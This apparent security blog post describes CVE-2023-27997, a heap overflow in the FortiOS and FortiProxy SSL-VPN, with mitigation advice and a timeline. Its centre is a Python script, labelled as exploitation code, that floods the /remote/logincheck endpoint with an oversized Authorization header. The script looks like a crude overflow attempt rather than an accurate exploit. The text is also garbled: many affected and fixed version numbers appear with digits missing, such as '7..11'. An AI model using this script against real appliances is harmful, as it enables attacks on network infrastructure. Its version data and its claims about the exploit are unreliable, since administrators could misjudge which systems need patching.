A serious heap-based buffer overflow vulnerability (CWE-122) has been identified in FortiOS and FortiProxy SSL-VPN products. The affected versions include FortiOS version 7.2.4 and below, version 7..11 and below, version 6.4.12 and below, version 6..16 and below, and FortiProxy version 7.2.3 and below, version 7..9 and below, version 2..12 and below, version 1.2 all versions, and version 1.1 all versions. This vulnerability, designated as CVE-2023-27997, could allow a remote attacker to execute arbitrary code or commands using specifically crafted requests.

In this post, we will delve into the technical details of this vulnerability, including a code snippet for exploiting it, and provide guidance on how to mitigate the associated risks.

Exploit Details

The heap-based buffer overflow vulnerability occurs due to improper handling of user inputs in the SSL-VPN component of the affected FortiOS and FortiProxy products. An attacker could exploit this vulnerability by sending specially crafted requests containing malicious data to the targeted system. If successful, the attacker could gain unauthorized access to the system, modify sensitive information, or execute arbitrary code and commands.

The following code snippet demonstrates how an attacker might exploit this vulnerability

import socket

# Replace with the target IP and port number
TARGET_IP = "192.168.1.1"
TARGET_PORT = 10443

# Create a socket and establish a connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET_IP, TARGET_PORT))

# Craft a malicious request with the buffer overflow payload
malicious_request = "GET /remote/logincheck HTTP/1.1\r\n"
malicious_request += "Host: " + TARGET_IP + "\r\n"
malicious_request += "User-Agent: Mozilla/5.\r\n"
malicious_request += "Connection: close\r\n"
malicious_request += "Accept-Encoding: gzip, deflate\r\n"
malicious_request += "Accept: */*\r\n"
malicious_request += "Authorization: Basic "
# Replace the following line with your own malicious payload
malicious_request += "A" * 90000 + "\r\n\r\n"

# Send the malicious request to the targeted system
s.send(malicious_request.encode())

# Receive the response
response = s.recv(1024)

# Print the response to the console
print(response)

# Close the connection
s.close()

Please note that using this code for malicious purposes is illegal. This is for research and educational purposes only.

Original References

The vulnerability was originally reported by security researchers at FortiGuard Labs, and the associated advisory can be found here:

- FortiGuard Labs Security Advisory

Mitigation and Solutions

To protect your systems from this vulnerability, it is crucial to apply the necessary security patches provided by Fortinet:

- Update FortiOS to version 7.2.5 or above, version 7..12 or above, version 6.4.13 or above, or version 6..17 or above.

Regularly inspecting and monitoring system logs for unusual behavior or unauthorized access attempts

- Limiting access to the affected services and products by using network segmentation and access control lists

Conclusion

The CVE-2023-27997 heap-based buffer overflow vulnerability in FortiOS and FortiProxy SSL-VPN products exposes affected systems to potential remote arbitrary code execution attacks. By understanding the technical details, applying the necessary security patches, and adhering to recommended mitigation strategies, organizations can effectively protect their networks and data from exploitation.

Timeline

Published on: 06/13/2023 09:15:00 UTC
Last modified on: 06/20/2023 19:33:00 UTC